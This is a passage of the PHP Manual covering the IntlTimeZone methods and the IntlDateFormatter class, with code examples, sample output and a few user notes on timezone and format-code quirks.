Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get an enumeration over time zone IDs associated with the given country or offset

  • « IntlTimeZone::createDefault
  • IntlTimeZone::createTimeZone »
  • PHP Manual
  • IntlTimeZone
  • Get an enumeration over time zone IDs associated with the given country or offset

IntlTimeZone::createEnumeration

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::createEnumeration — Get an enumeration over time zone IDs associated with the given country or offset

Description

public static IntlIterator IntlTimeZone::createEnumeration ([ mixed $countryOrRawOffset ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

countryOrRawOffset

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create a timezone object for the given ID

  • « IntlTimeZone::createEnumeration
  • IntlTimeZone::fromDateTimeZone »
  • PHP Manual
  • IntlTimeZone
  • Create a timezone object for the given ID

IntlTimeZone::createTimeZone

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::createTimeZone — Create a timezone object for the given ID

Description

public static IntlTimeZone IntlTimeZone::createTimeZone ( string $zoneId )

Warning

This function is currently not documented; only its argument list is available.

Parameters

zoneId

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create a timezone object from DateTimeZone

  • « IntlTimeZone::createTimeZone
  • IntlTimeZone::getCanonicalID »
  • PHP Manual
  • IntlTimeZone
  • Create a timezone object from DateTimeZone

IntlTimeZone::fromDateTimeZone

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::fromDateTimeZone — Create a timezone object from DateTimeZone

Description

public static IntlTimeZone IntlTimeZone::fromDateTimeZone ( DateTimeZone $zoneId )

Warning

This function is currently not documented; only its argument list is available.

Parameters

zoneId

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID

  • « IntlTimeZone::fromDateTimeZone
  • IntlTimeZone::getDisplayName »
  • PHP Manual
  • IntlTimeZone
  • Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID

IntlTimeZone::getCanonicalID

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getCanonicalID — Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID

Description

public static string IntlTimeZone::getCanonicalID ( string $zoneId [, bool &$isSystemID ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

zoneId

isSystemID

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get a name of this time zone suitable for presentation to the user

  • « IntlTimeZone::getCanonicalID
  • IntlTimeZone::getDSTSavings »
  • PHP Manual
  • IntlTimeZone
  • Get a name of this time zone suitable for presentation to the user

IntlTimeZone::getDisplayName

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getDisplayName — Get a name of this time zone suitable for presentation to the user

Description

public string IntlTimeZone::getDisplayName ([ bool $isDaylight [, integer $style [, string $locale ]]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

isDaylight

style

locale

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the amount of time to be added to local standard time to get local wall clock time

  • « IntlTimeZone::getDisplayName
  • IntlTimeZone::getEquivalentID »
  • PHP Manual
  • IntlTimeZone
  • Get the amount of time to be added to local standard time to get local wall clock time

IntlTimeZone::getDSTSavings

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getDSTSavings — Get the amount of time to be added to local standard time to get local wall clock time

Description

public integer IntlTimeZone::getDSTSavings ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get an ID in the equivalency group that includes the given ID

  • « IntlTimeZone::getDSTSavings
  • IntlTimeZone::getErrorCode »
  • PHP Manual
  • IntlTimeZone
  • Get an ID in the equivalency group that includes the given ID

IntlTimeZone::getEquivalentID

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getEquivalentID — Get an ID in the equivalency group that includes the given ID

Description

public static string IntlTimeZone::getEquivalentID ( string $zoneId , integer $index )

Warning

This function is currently not documented; only its argument list is available.

Parameters

zoneId

index

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • « IntlTimeZone::getEquivalentID
  • IntlTimeZone::getErrorMessage »
  • PHP Manual
  • IntlTimeZone
  • Get last error code on the object

IntlTimeZone::getErrorCode

intltz_get_error_code

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getErrorCode -- intltz_get_error_code — Get last error code on the object

Description

Object oriented style (method):

public integer IntlTimeZone::getErrorCode ( void )

Procedural style:

integer intltz_get_error_code ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • « IntlTimeZone::getErrorCode
  • IntlTimeZone::getGMT »
  • PHP Manual
  • IntlTimeZone
  • Get last error message on the object

IntlTimeZone::getErrorMessage

intltz_get_error_message

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getErrorMessage -- intltz_get_error_message — Get last error message on the object

Description

Object oriented style (method):

public string IntlTimeZone::getErrorMessage ( void )

Procedural style:

string intltz_get_error_message ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create GMT (UTC) timezone

  • « IntlTimeZone::getErrorMessage
  • IntlTimeZone::getID »
  • PHP Manual
  • IntlTimeZone
  • Create GMT (UTC) timezone

IntlTimeZone::getGMT

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getGMT — Create GMT (UTC) timezone

Description

public static IntlTimeZone IntlTimeZone::getGMT ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get timezone ID

  • « IntlTimeZone::getGMT
  • IntlTimeZone::getOffset »
  • PHP Manual
  • IntlTimeZone
  • Get timezone ID

IntlTimeZone::getID

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getID — Get timezone ID

Description

public string IntlTimeZone::getID ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the time zone raw and GMT offset for the given moment in time

  • « IntlTimeZone::getID
  • IntlTimeZone::getRawOffset »
  • PHP Manual
  • IntlTimeZone
  • Get the time zone raw and GMT offset for the given moment in time

IntlTimeZone::getOffset

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getOffset — Get the time zone raw and GMT offset for the given moment in time

Description

public integer IntlTimeZone::getOffset ( float $date , bool $local , integer &$rawOffset , integer &$dstOffset )

Warning

This function is currently not documented; only its argument list is available.

Parameters

date

local

rawOffset

dstOffset

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the raw GMT offset (before taking daylight savings time into account

  • « IntlTimeZone::getOffset
  • IntlTimeZone::getTZDataVersion »
  • PHP Manual
  • IntlTimeZone
  • Get the raw GMT offset (before taking daylight savings time into account

IntlTimeZone::getRawOffset

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getRawOffset — Get the raw GMT offset (before taking daylight savings time into account

Description

public integer IntlTimeZone::getRawOffset ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the timezone data version currently used by ICU

  • « IntlTimeZone::getRawOffset
  • IntlTimeZone::hasSameRules »
  • PHP Manual
  • IntlTimeZone
  • Get the timezone data version currently used by ICU

IntlTimeZone::getTZDataVersion

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::getTZDataVersion — Get the timezone data version currently used by ICU

Description

public static string IntlTimeZone::getTZDataVersion ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Check if this zone has the same rules and offset as another zone

  • « IntlTimeZone::getTZDataVersion
  • IntlTimeZone::toDateTimeZone »
  • PHP Manual
  • IntlTimeZone
  • Check if this zone has the same rules and offset as another zone

IntlTimeZone::hasSameRules

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::hasSameRules — Check if this zone has the same rules and offset as another zone

Description

public bool IntlTimeZone::hasSameRules ( IntlTimeZone $otherTimeZone )

Warning

This function is currently not documented; only its argument list is available.

Parameters

otherTimeZone

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Convert to DateTimeZone object

  • « IntlTimeZone::hasSameRules
  • IntlTimeZone::useDaylightTime »
  • PHP Manual
  • IntlTimeZone
  • Convert to DateTimeZone object

IntlTimeZone::toDateTimeZone

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::toDateTimeZone — Convert to DateTimeZone object

Description

public DateTimeZone IntlTimeZone::toDateTimeZone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Check if this time zone uses daylight savings time

  • « IntlTimeZone::toDateTimeZone
  • IntlDateFormatter »
  • PHP Manual
  • IntlTimeZone
  • Check if this time zone uses daylight savings time

IntlTimeZone::useDaylightTime

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlTimeZone::useDaylightTime — Check if this time zone uses daylight savings time

Description

public bool IntlTimeZone::useDaylightTime ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The IntlDateFormatter class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Date Formatter is a concrete class that enables locale-dependent formatting/parsing of dates using pattern strings and/or canned patterns.

This class represents the ICU date formatting functionality. It allows users to display dates in a localized format or to parse strings into PHP date values using pattern strings and/or canned patterns.

Class synopsis

IntlDateFormatter {
/* Methods */
public __construct ( string $locale , int $datetype , int $timetype [, mixed $timezone = NULL [, mixed $calendar = NULL [, string $pattern = "" ]]] )
public static IntlDateFormatter create ( string $locale , int $datetype , int $timetype [, mixed $timezone = NULL [, mixed $calendar = NULL [, string $pattern = "" ]]] )
public string format ( mixed $value )
public static string formatObject ( object $object [, mixed $format = NULL [, string $locale = NULL ]] )
int getCalendar ( void )
public int getDateType ( void )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public string getLocale ([ int $which ] )
public string getPattern ( void )
public int getTimeType ( void )
public string getTimeZoneId ( void )
public IntlCalendar getCalendarObject ( void )
public IntlTimeZone getTimeZone ( void )
public bool isLenient ( void )
public array localtime ( string $value [, int &$position ] )
public int parse ( string $value [, int &$position ] )
bool setCalendar ( mixed $which )
public bool setLenient ( bool $lenient )
public bool setPattern ( string $pattern )
public bool setTimeZoneId ( string $zone )
public boolean setTimeZone ( mixed $zone )
}

See Also

  • » ICU Date formatter
  • » ICU Date formats

Predefined Constants

These constants are used to specify different formats in the constructor for DateType and TimeType.

IntlDateFormatter::NONE (integer)
Do not include this element
IntlDateFormatter::FULL (integer)
Completely specified style (Tuesday, April 12, 1952 AD or 3:30:42pm PST)
IntlDateFormatter::LONG (integer)
Long style (January 12, 1952 or 3:30:32pm)
IntlDateFormatter::MEDIUM (integer)
Medium style (Jan 12, 1952)
IntlDateFormatter::SHORT (integer)
Most abbreviated style, only essential data (12/13/52 or 3:30pm)

The following int constants are used to specify the calendar. These calendars are all based directly on the Gregorian calendar. Non-Gregorian calendars need to be specified in locale. Examples might include locale="hi@calendar=BUDDHIST".

IntlDateFormatter::TRADITIONAL (integer)
Non-Gregorian Calendar
IntlDateFormatter::GREGORIAN (integer)
Gregorian Calendar

Table of Contents

  • IntlDateFormatter::create — Create a date formatter
  • IntlDateFormatter::format — Format the date/time value as a string
  • IntlDateFormatter::formatObject — Formats an object
  • IntlDateFormatter::getCalendar — Get the calendar type used for the IntlDateFormatter
  • IntlDateFormatter::getDateType — Get the datetype used for the IntlDateFormatter
  • IntlDateFormatter::getErrorCode — Get the error code from last operation
  • IntlDateFormatter::getErrorMessage — Get the error text from the last operation.
  • IntlDateFormatter::getLocale — Get the locale used by formatter
  • IntlDateFormatter::getPattern — Get the pattern used for the IntlDateFormatter
  • IntlDateFormatter::getTimeType — Get the timetype used for the IntlDateFormatter
  • IntlDateFormatter::getTimeZoneId — Get the timezone-id used for the IntlDateFormatter
  • IntlDateFormatter::getCalendarObject — Get copy of formatterʼs calendar object
  • IntlDateFormatter::getTimeZone — Get formatterʼs timezone
  • IntlDateFormatter::isLenient — Get the lenient used for the IntlDateFormatter
  • IntlDateFormatter::localtime — Parse string to a field-based time value
  • IntlDateFormatter::parse — Parse string to a timestamp value
  • IntlDateFormatter::setCalendar — Sets the calendar type used by the formatter
  • IntlDateFormatter::setLenient — Set the leniency of the parser
  • IntlDateFormatter::setPattern — Set the pattern used for the IntlDateFormatter
  • IntlDateFormatter::setTimeZoneId — Sets the time zone to use
  • IntlDateFormatter::setTimeZone — Sets formatterʼs timezone

User Contributed Notes

There are no user contributed notes for this page.


Create a date formatter

  • « IntlDateFormatter
  • IntlDateFormatter::format »
  • PHP Manual
  • IntlDateFormatter
  • Create a date formatter

IntlDateFormatter::create

datefmt_create

IntlDateFormatter::__construct

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::create -- datefmt_create -- IntlDateFormatter::__construct — Create a date formatter

Description

Object oriented style

public static IntlDateFormatter IntlDateFormatter::create ( string $locale , int $datetype , int $timetype [, mixed $timezone = NULL [, mixed $calendar = NULL [, string $pattern = "" ]]] )

Object oriented style (constructor)

public IntlDateFormatter::__construct ( string $locale , int $datetype , int $timetype [, mixed $timezone = NULL [, mixed $calendar = NULL [, string $pattern = "" ]]] )

Procedural style

IntlDateFormatter datefmt_create ( string $locale , int $datetype , int $timetype [, mixed $timezone = NULL [, mixed $calendar = NULL [, string $pattern = "" ]]] )

Create a date formatter.

Parameters

locale

Locale to use when formatting or parsing or NULL to use the value specified in the ini setting intl.default_locale.

datetype

Date type to use (none, short, medium, long, full). This is one of the IntlDateFormatter constants. It can also be NULL, in which case ICUʼs default date type will be used.

timetype

Time type to use (none, short, medium, long, full). This is one of the IntlDateFormatter constants. It can also be NULL, in which case ICUʼs default time type will be used.

timezone

Time zone ID. The default (and the one used if NULL is given) is the one returned by date_default_timezone_get() or, if applicable, that of the IntlCalendar object passed for the calendar parameter. This ID must be a valid identifier on ICUʼs database or an ID representing an explicit offset, such as GMT-05:30.

This can also be an IntlTimeZone or a DateTimeZone object.

calendar

Calendar to use for formatting or parsing. The default value is NULL, which corresponds to IntlDateFormatter::GREGORIAN. This can either be one of the IntlDateFormatter calendar constants or an IntlCalendar. Any IntlCalendar object passed will be clone; it will not be changed by the IntlDateFormatter. This will determine the calendar type used (gregorian, islamic, persian, etc.) and, if NULL is given for the timezone parameter, also the timezone used.

pattern

Optional pattern to use when formatting or parsing. Possible patterns are documented at » http://userguide.icu-project.org/formatparse/datetime.

Return Values

The created IntlDateFormatter or FALSE in case of failure.

Changelog

Version | Description
5.5.0/PECL 3.0.0 | An IntlCalendar object is allowed for calendar. Objects of type IntlTimeZone and DateTimeZone are allowed for timezone. Invalid timezone identifiers (including empty strings) are no longer allowed for timezone. If NULL is given for timezone, the timezone identifier given by date_default_timezone_get() will be used instead of ICUʼs default.

Examples

Example #1 datefmt_create() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles', IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".$fmt->format(0);

$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
      'America/Los_Angeles',IntlDateFormatter::GREGORIAN , "MM/dd/yyyy");
echo "Second Formatted output with pattern is ".$fmt->format(0);
?>

The above example will output:

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

See Also

  • datefmt_format() - Format the date/time value as a string
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

mikko dot rantalainen at peda dot net 29-Mar-2012 10:08
Documentation says "timezone: Time zone ID, default is system default."

The "system default" really means only the "TZ" environment variable on Unix/Linux systems. It does not mean PHP ini setting or value set via date_default_timezone_set() or the OS default time zone in file "/etc/timezone".
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 04:41
It should be noted that the locale string passed into IntlDateFormatter's constructor supports UCA keywords. So you can, for example, do things like this to output the year as a Japanese era year:

<?php
$now = new DateTime();    //DateTime is a core PHP class as of version 5.2.0

$formatter = new IntlDateFormatter('ja_JP', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::GREGORIAN);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "2011年8月19日金曜日 23時32分27秒JST" in Tokyo]

$formatter = new IntlDateFormatter('ja_JP@calendar=japanese', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::TRADITIONAL);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "平成23年8月19日金曜日 23時32分27秒JST" in Tokyo]
?>


Format the date/time value as a string

  • « IntlDateFormatter::create
  • IntlDateFormatter::formatObject »
  • PHP Manual
  • IntlDateFormatter
  • Format the date/time value as a string

IntlDateFormatter::format

datefmt_format

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::format -- datefmt_format — Format the date/time value as a string

Description

Object oriented style

public string IntlDateFormatter::format ( mixed $value )

Procedural style

string datefmt_format ( IntlDateFormatter $fmt , mixed $value )

Formats the time value as a string.

Parameters

fmt

The date formatter resource.

value

Value to format. This may be a DateTime object, an IntlCalendar object, a numeric type representing a (possibly fractional) number of seconds since epoch or an array in the format output by localtime().

If a DateTime or an IntlCalendar object is passed, its timezone is not considered. The object will be formatted using the formaterʼs configured timezone. If one wants to use the timezone of the object to be formatted, IntlDateFormatter::setTimeZone() must be called before with the objectʼs timezone. Alternatively, the static function IntlDateFormatter::formatObject() may be used instead.

Return Values

The formatted string or, if an error occurred, FALSE.

Changelog

Version | Description
5.5.0/PECL 3.0.0 | Support for providing IntlCalendar objects to the value parameter was added.
5.3.4 | Support for providing DateTime objects to the value parameter was added.

Examples

Example #1 datefmt_format() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Second Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo "Second Formatted output with pattern is " . datefmt_format($fmt, 0);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Second Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'First Formatted output with pattern is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'Second Formatted output with pattern is ' . $fmt->format(0);
?>

The above example will output:

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

Example #3 With IntlCalendar object

<?php
$tz = reset(iterator_to_array(IntlTimeZone::createEnumeration('FR')));
$formatter = IntlDateFormatter::create(
    'fr_FR',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    $tz,
    IntlDateFormatter::GREGORIAN
);

$cal = IntlCalendar::createInstance($tz, '@calendar=islamic-civil');
$cal->set(IntlCalendar::FIELD_MONTH, 8); //9th month, Ramadan
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 1); //1st day
$cal->clear(IntlCalendar::FIELD_HOUR_OF_DAY);
$cal->clear(IntlCalendar::FIELD_MINUTE);
$cal->clear(IntlCalendar::FIELD_SECOND);
$cal->clear(IntlCalendar::FIELD_MILLISECOND);

echo "In this islamic year, Ramadan started/will start on:\n\t",
        $formatter->format($cal), "\n";

//Itʼs the formatterʼs timezone that is used:
$formatter->setTimeZone('Asia/Tokyo');
echo "After changing timezone:\n\t",
        $formatter->format($cal), "\n";

The above example will output:

In this islamic year, Ramadan started/will start on:
    mardi 9 juillet 2013 19:00:00 heure avancée d’Europe centrale
After changing timezone:
    mercredi 10 juillet 2013 02:00:00 heure normale du Japon

See Also

  • datefmt_create() - Create a date formatter
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.
  • datefmt_format_object() - Formats an object

User Contributed Notes

mail dot dennisbecker at gmail dot com 07-Feb-2013 01:38
You should know that PHPs IntlDateFormatter class uses ISO date format codes instead of PHPs date() format codes. It is not really clear mentioned from my point of view.

A good list to find ISO codes is available at http://framework.zend.com/manual/1.12/en/zend.date.constants.html#zend.date.constants.selfdefinedformats and such a list should be added here, too.
con at bartrail dot de 07-Oct-2011 01:47
I hope this will save some time for others who have to struggle with different php versions on dev and prod plattform in the future:

when formatting a DateTime object with a *custom pattern*, be sure to use a timestamp to pass at the IntlDateFormatter::format in order to have it working on different php versions:

Example for PHP Version 5.3.5-1ubuntu7.2 (my dev machine):
<?php
$date = new \DateTime();

$dateFormatter = \IntlDateFormatter::create(
  \Locale::getDefault(),
  \IntlDateFormatter::NONE,
  \IntlDateFormatter::NONE,
  \date_default_timezone_get(),
  \IntlDateFormatter::GREGORIAN,
  'EEEE'
);

var_dump($dateFormatter->format($date)); // string(6) "Monday"
?>

Example for PHP Version 5.3.2-1ubuntu4.9 (the prod server):
<?php
// same formatting as above

var_dump($dateFormatter->format($date)); // bool(false)
?>

When using $dateFormatter->format($date->getTimestamp()), you'll always get the formatted and localized string instead of a false.
alex 19-May-2010 08:10
It's important to note that a conversion of timezones will be made from the default timezone (date_default_timezone_set()) and the timezone you passed in the constructor (or datefmt_create()).

If you are inserting the dates into your database as UTC time, make sure to set date_default_timezone_set to UTC as well (or any other timezone, but they need to be the same). Once you call ::format, you will get the converted time.


Formats an object

  • « IntlDateFormatter::format
  • IntlDateFormatter::getCalendar »
  • PHP Manual
  • IntlDateFormatter
  • Formats an object

IntlDateFormatter::formatObject

datefmt_format_object

(PHP 5 >= 5.5.0, PECL intl >= 3.0.0)

IntlDateFormatter::formatObject -- datefmt_format_object — Formats an object

Description

Object oriented style

public static string IntlDateFormatter::formatObject ( object $object [, mixed $format = NULL [, string $locale = NULL ]] )

Procedural style

public static string datefmt_format_object ( object $object [, mixed $format = NULL [, string $locale = NULL ]] )

This function allows formatting an IntlCalendar or DateTime object without first explicitly creating a IntlDateFormatter object.

The temporary IntlDateFormatter that will be created will take the timezone from the passed in object. The timezone database bundled with PHP will not be used – ICU's will be used instead. The timezone identifier used in DateTime objects must therefore also exist in ICU's database.

Parameters

object

An object of type IntlCalendar or DateTime. The timezone information in the object will be used.

format

How to format the date/time. This can either be an array with two elements (first the date style, then the time style, these being one of the constants IntlDateFormatter::NONE, IntlDateFormatter::SHORT, IntlDateFormatter::MEDIUM, IntlDateFormatter::LONG, IntlDateFormatter::FULL), a long with the value of one of these constants (in which case it will be used both for the time and the date) or a string with the format described in » the ICU documentation. If NULL, the default style will be used.

locale

The locale to use, or NULL to use the default one.

Return Values

A string with result or FALSE on failure.

Examples

Example #1 IntlDateFormatter::formatObject() examples

<?php
/* default timezone is irrelevant; timezone taken from the object */
ini_set('date.timezone', 'UTC');
/* default locale is taken from this ini setting */
ini_set('intl.default_locale', 'fr_FR');

$cal = IntlCalendar::fromDateTime("2013-06-06 17:05:06 Europe/Dublin");
echo "default:\n\t",
        IntlDateFormatter::formatObject($cal),
        "\n";

echo "long \$format (full):\n\t",
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL),
        "\n";

echo "array \$format (none, full):\n\t",
        IntlDateFormatter::formatObject($cal, array(
                IntlDateFormatter::NONE,
                IntlDateFormatter::FULL)),
        "\n";

echo "string \$format (d 'of' MMMM y):\n\t",
        IntlDateFormatter::formatObject($cal, "d 'of' MMMM y", 'en_US'),
        "\n";

echo "with DateTime:\n\t",
        IntlDateFormatter::formatObject(
                new DateTime("2013-09-09 09:09:09 Europe/Madrid"),
                IntlDateFormatter::FULL,
                'es_ES'),
        "\n";

The above example will output:

default:
    6 juin 2013 17:05:06
long $format (full):
    jeudi 6 juin 2013 17:05:06 heure d’été irlandaise
array $format (none, full):
    17:05:06 heure d’été irlandaise
string $format (d 'of' MMMM y):
    6 of June 2013
with DateTime:
    lunes, 9 de septiembre de 2013 09:09:09 Hora de verano de Europa central

User Contributed Notes

There are no user contributed notes for this page.


Get the calendar type used for the IntlDateFormatter

  • « IntlDateFormatter::formatObject
  • IntlDateFormatter::getDateType »
  • PHP Manual
  • IntlDateFormatter
  • Get the calendar type used for the IntlDateFormatter

IntlDateFormatter::getCalendar

datefmt_get_calendar

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getCalendar -- datefmt_get_calendar — Get the calendar type used for the IntlDateFormatter

Description

Object oriented style

int IntlDateFormatter::getCalendar ( void )

Procedural style

int datefmt_get_calendar ( IntlDateFormatter $fmt )

Parameters

fmt

The formatter resource

Return Values

The calendar type being used by the formatter. Either IntlDateFormatter::TRADITIONAL or IntlDateFormatter::GREGORIAN.

Examples

Example #1 datefmt_get_calendar() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . datefmt_get_calendar($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . $fmt->getCalendar();

?>

The above example will output:

calendar of the formatter is : 1
Now calendar of the formatter is : 0

See Also

  • datefmt_get_calendar_object() - Get copy of formatterʼs calendar object
  • datefmt_set_calendar() - Sets the calendar type used by the formatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the datetype used for the IntlDateFormatter

  • « IntlDateFormatter::getCalendar
  • IntlDateFormatter::getErrorCode »
  • PHP Manual
  • IntlDateFormatter
  • Get the datetype used for the IntlDateFormatter

IntlDateFormatter::getDateType

datefmt_get_datetype

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

